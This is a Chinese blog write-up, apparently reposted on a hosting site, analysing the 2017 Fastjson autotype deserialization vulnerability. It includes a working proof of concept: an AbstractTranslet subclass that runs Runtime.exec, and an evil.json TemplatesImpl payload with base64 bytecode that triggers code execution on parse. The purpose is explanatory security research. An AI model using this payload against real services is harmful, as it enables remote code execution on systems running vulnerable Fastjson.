温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

如何解决Debug Fastjson的安全漏洞

发布时间:2020-07-17 10:19:59 来源:亿速云 阅读:199 作者:小猪 栏目:编程语言

小编这次要给大家分享的是如何解决Debug Fastjson的安全漏洞,文章内容丰富,感兴趣的小伙伴可以来了解一下,希望大家阅读完这篇文章之后能够有所收获。

简介

Java处理JSON数据有三个比较流行的类库,gson(google维护)、jackson、以及今天的主角fastjson,fastjson是阿里巴巴一个开源的json相关的java library,地址在这里,

https://github.com/alibaba/fastjson,

Fastjson可以将java的对象转换成json的形式,也可以用来将json转换成java对象,效率较高,被广泛的用在web服务以及android上,它的JSONString()方法可以将java的对象转换成json格式,同样通过parseObject方法可以将json数据转换成java的对象。

大概在4月18号的时候,fastjson进行了一次安全更新,通告在这里

https://github.com/alibaba/fastjson/wiki/security_update_20170315,

当时对这也不熟悉,断断续续看了几天也没什么收获(主要是因为太菜了TAT)。最近有人出了poc以及分析的文章就跟进了一下,漏洞还是挺有意思。

fastjson简单使用介绍

工欲善其事,必先利其器,要想研究这个漏洞,就要先要了解这个fastjson是干什么的。自己研究了一下这个类库。User.java code如下:

如何解决Debug Fastjson的安全漏洞

testFastJson.java code如下:

package fastjsonVul.fastjsonTest; import java.util.HashMap; import java.util.Map; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.serializer.SerializerFeature; import fastjsonVul.fastjsonTest.User; public class testFastJson {              public static void main(String[] args){         Map<String, Object> map = new HashMap<String, Object>();         map.put("key1","One");         map.put("key2", "Two");         String mapJson = JSON.toJSONString(map);             System.out.println(mapJson);                  User user1 = new User();         user1.setUsername("果汁简历");         user1.setSex("male");             System.out.println("obj name:"+user1.getClass().getName());                  //序列化         String serializedStr = JSON.toJSONString(user1);         System.out.println("serializedStr="+serializedStr);                  String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);         System.out.println("serializedStr1="+serializedStr1);                  //通过parse方法进行反序列化         User user2 = (User)JSON.parse(serializedStr1);         System.out.println(user2.getUsername());         System.out.println();                  //通过parseObject方法进行反序列化  通过这种方法返回的是一个JSONObject         Object obj = JSON.parseObject(serializedStr1);         System.out.println(obj);         System.out.println("obj name:"+obj.getClass().getName()+"\n");                  //通过这种方式返回的是一个相应的类对象         Object obj1 = JSON.parseObject(serializedStr1,Object.class);         System.out.println(obj1);         System.out.println("obj1 name:"+obj1.getClass().getName());              } }

输出是这样

{"key1":"One","key2":"Two"}
obj name:fastjsonVul.fastjsonTest.User
serializedStr={"Sex":"male","Username":"果汁简历","sex":"male","username":"果汁简历"}
serializedStr1={"@type":"fastjsonVul.fastjsonTest.User","Sex":"male","Username":"xiaoming","sex":"male","username":"果汁简历"}
果汁简历

{"Username":"果汁简历","Sex":"male","sex":"male","username":"果汁简历"}
obj name:com.alibaba.fastjson.JSONObject

fastjsonVul.fastjsonTest.User@18769467
obj1 name:fastjsonVul.fastjsonTest.User

Fastjson漏洞详细

fastjson漏洞出现的地方也就是JSON.parseObject这个方法上面。

在最开始的时候,只能通过类初始化时候的构造函数或者变量的setter方法执行恶意代码,像是这样

Evil.java

import java.io.IOException; public class Evil {     public String getName() {         System.out.println("i am getterName!");         return name;     }     public void setName(String name) {         System.out.println("i am setterName!");         this.name = name;     }     public String name;     public int getAge() {         System.out.println("i am getterAge!");         return age;     }     public void setAge(int age) {         System.out.println("i am setterAge!");         this.age = age;     }     private int age;     public Evil() throws IOException{         System.out.println("i am constructor!");     } }
import com.alibaba.fastjson.JSON; import java.io.*; public class App{     public static void readToBuffer(StringBuffer buffer, String filePath) throws IOException {         InputStream is = new FileInputStream(filePath);         String line; // 用来保存每行读取的内容         BufferedReader reader = new BufferedReader(new InputStreamReader(is));         line = reader.readLine(); // 读取第一行         while (line != null) { // 如果 line 为空说明读完了             buffer.append(line); // 将读到的内容添加到 buffer 中             buffer.append("\n"); // 添加换行符             line = reader.readLine(); // 读取下一行         }         reader.close();         is.close();     }     public static void main( String[] args ) throws IOException     {         StringBuffer Buffer = new StringBuffer();         App.readToBuffer(Buffer,"/Users/m0rk/vul/fastjson/src/demo.json");         Object obj = JSON.parseObject(Buffer.toString());     } }

demo.json的内容如下

{ "@type" : "Evil1", "name" : "M0rk", "age" : "20"}

如何解决Debug Fastjson的安全漏洞

可以看到通过@type"特性",就执行了构造函数以及私有和公有成员变量的getter和setter方法。但是这貌似还并没有达到我们想要的结果,因为上面的情况是需要我们能够控制Evil这个类(一般是通过文件写入),目前来看不太现实。

还有一种方法就是将编译好的.class或者.jar文件转换成byte[],然后通过defineClass加载byte[]返回class对象。

安全研究人员发现了这个类

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

这个类存在如下的调用链可加载byte[]完成.class文件中对象的实例化,注意MailCiousClass需要继承AbstractTranslet(在defineTransle方法中存在一个校验)。更多这个调用链参考链接
https://gist.github.com/frohoff/24af7913611f8406eaf3

如何解决Debug Fastjson的安全漏洞

 如何解决Debug Fastjson的安全漏洞

如上图所示的攻击调用栈信息,可以看到和TemplatesImpl调用链完全吻合,最终还是通过defineclass加载了bytecodes[]导致了命令执行。

Evil.java

import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Evil extends AbstractTranslet {     public Evil() throws IOException {         Runtime.getRuntime().exec("open /Applications/Calculator.app");     }     @Override     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {     }     public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {     } }
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import org.apache.commons.io.IOUtils; import org.apache.commons.codec.binary.Base64; import java.io.*; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; public class poc {     public static String readClass(String cls) {         ByteArrayOutputStream bos = new ByteArrayOutputStream();         try {             IOUtils.copy(new FileInputStream(new File(cls)), bos);         } catch (IOException e) {             e.printStackTrace();         }         return Base64.encodeBase64String(bos.toByteArray());     }     public static void main(String args[]) throws Exception{ //        final String evilClassPath ="/Users/m0rk/vul/fastjson/src/Evil.class"; //        String evilCode = readClass(evilClassPath); //        System.out.println(evilCode);         StringBuffer Buffer = new StringBuffer();         App.readToBuffer(Buffer, "/Users/m0rk/vul/fastjson/src/evil.json");         Object obj = JSON.parseObject(Buffer.toString(),Object.class,Feature.SupportNonPublicField);     } }

evil.json

{   "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",   "_bytecodes" : ["yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAGwEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAcACAcAHAwAHQAeAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAfACABAARFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAACQAEAAoADQALAAsAAAAEAAEADAABAA0ADgABAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgABAA0ADwACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABABAAAQARAAAAAgAS"],   "_name" : "M0rk",   "_tfactory" : {},   "outputProperties" : {} }

看完这篇关于如何解决Debug Fastjson的安全漏洞的文章,如果觉得文章内容写得不错的话,可以把它分享出去给更多人看到。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI